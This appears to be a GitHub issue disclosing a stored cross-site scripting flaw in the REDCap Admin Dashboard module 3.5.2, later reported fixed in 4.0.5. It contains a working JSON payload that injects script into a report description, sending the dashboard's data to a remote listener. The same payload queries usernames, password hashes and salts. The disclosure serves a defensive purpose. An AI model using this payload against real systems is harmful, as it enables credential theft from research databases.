ui-icts / redcap-admin-dashboard

Provides a sortable table view of various reports on REDCap metadata
MIT License
2 stars 2 forks source link

XSS vulnerability #6

Closed utiso closed 2 years ago

utiso commented 3 years ago

Admin Dashboard 3.5.2 has a cross site scripting vulnerability.

When creating a new project (POSTing to /ExternalModules/?prefix=admin_dash&page=requestHandler&type=saveReportSettings), a malicious user can inject JavaScript into the "description" field. The example JSON below injects JavaScript that will POST the contents of _UIOWAAdminDash.data (in this case a dump of the table redcap_auth) to a remote server (in this case localhost).

{
    "reportReference": [{
        "reportName": "Pwned",
        "description": "<script>$.ajax({ url:'http://localhost:4444', data: JSON.stringify(UIOWA_AdminDash.data), method:'POST', success: function(){alert('Data exfiltrated');} });</script>",
        "tabIcon": "biohazard",
        "customID": "",
        "sql": "select username,password,password_salt from redcap_auth",
        "type": "table",
        "checked": true,
        "formatting": {
            "0": {
                "column": "username",
                "display": 0,
                "link": "not set"
            },
            "1": {
                "column": "password",
                "display": 0,
                "link": "not set"
            },
            "2": {
                "column": "password_salt",
                "display": 0,
                "link": "not set"
            }
        }
    }],
    "adminVisibility": {
        "Projects by User": true,
        "Users by Project": true,
        "Research Projects": true,
        "Development Projects": true,
        "All Projects": true,
        "Projects with External Modules": true,
        "Pwned": true
    },
    "executiveVisibility": {
        "Projects by User": [],
        "Users by Project": [],
        "Research Projects": [],
        "Development Projects": [],
        "All Projects": [],
        "Projects with External Modules": [],
        "Pwned": []
    }
}

To fix this, please sanitize all user input.

biggeeves commented 2 years ago

Tested using Oct 28, 2021 code version. The Description is sanitized. Tested in version 4.0.5. This could be closed.